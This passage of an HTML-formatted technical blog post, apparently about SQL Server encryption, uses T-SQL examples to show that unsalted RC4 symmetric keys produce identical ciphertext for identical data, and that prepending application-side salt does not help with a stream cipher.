&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri;"&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;Since SQL Server does not salt RC4 or RC4_128 keys, similar data that is encrypted by using the same RC4/RC4_128 key repeatedly will result in the same cipher-text output. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;Let us understand the implications of using the RC4 or RC4_128 cipher with the help of an example:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Step (1) : Create a database testDB&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;CREATE DATABASE&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: teal;"&gt;testDB;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;USE&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: teal;"&gt;testDB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;GO&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Step (2) : Create an RC4 symmetric key object protected by a password in testDB&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;CREATE SYMMETRIC KEY &lt;/span&gt;&lt;span style="color: teal; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;sym_key_RC4&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;WITH ALGORITHM =&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;RC4&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;ENCRYPTION BY PASSWORD = &lt;/span&gt;&lt;span style="color: red; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;'SomeStr0ngPassword';&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Step (3) : Open the RC4 key to use for encryption&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;OPEN SYMMETRIC KEY&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: teal;"&gt;sym_key_RC4&lt;/span&gt; &lt;span style="color: blue;"&gt;DECRYPTION BY PASSWORD =&lt;/span&gt; &lt;span style="color: red;"&gt;'SomeStr0ngPassword';&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Step (4) : Experiment using the RC4 cipher to encrypt data&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: fuchsia;"&gt;encryptbykey&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'sym_key_RC4'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;span style="color: red;"&gt;'abc'&lt;/span&gt;&lt;span style="color: gray;"&gt;);&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;-- Output : 0x0053ED707ACDC54F83C4B273B29D819B01000000EADEA0D236B4D17BF321EB&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: fuchsia;"&gt;encryptbykey&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'sym_key_RC4'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;span style="color: red;"&gt;'abc'&lt;/span&gt;&lt;span style="color: gray;"&gt;);&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;-- Output : 0x0053ED707ACDC54F83C4B273B29D819B01000000EADEA0D236B4D17BF321EB&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Step (5) : Close the RC4 symmetric key&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;CLOSE&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; &lt;span style="color: teal;"&gt;myRC4;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;Notice that when data &amp;lsquo;abc&amp;rsquo; is encrypted by using the RC4 symmetric key &amp;lsquo;sym_key_RC4&amp;rsquo;, the output representing the cipher-text is identical both times. It might appear intuitive to solve this problem by programmatically adding different salt values such as &amp;lsquo;0123456789ABCDEF&amp;rsquo; and &amp;lsquo;FED6753925243232&amp;rsquo; through the application code as shown below &amp;ndash;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: fuchsia;"&gt;encryptbykey&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'sym_key_RC4'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;span style="color: red;"&gt;'0123456789ABCDEFabcdefg'&lt;/span&gt; &lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Output :&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;0x00E53ACDE34CAE4BA2140D6A246F6CBC 01000000 A6FC3B9FB44D4CC1 A8575A5FD06AFFA42FFCBD2DCF68F3F0 &lt;b&gt;89FD6BC5947987&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: blue; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="color: blue; font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: blue; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;SELECT&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt; &lt;span style="color: fuchsia;"&gt;encryptbykey&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'sym_key_RC4'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;span style="color: red;"&gt;'FED6753925243232abcdefg'&lt;/span&gt; &lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="color: green; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;--Output :&lt;/span&gt;&lt;span style="color: gray; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;0x00E53ACDE34CAE4BA2140D6A246F6CBC 01000000 A6FC3B9FB44D4CC1 DE232C5AD36AFAAA25F0CE5BBF1E8584 &lt;b&gt;89FD6BC5947987&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;However, because RC4/RC4_128 is a stream cipher, the additional salt does not help hide patterns across multiple usages of the key. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
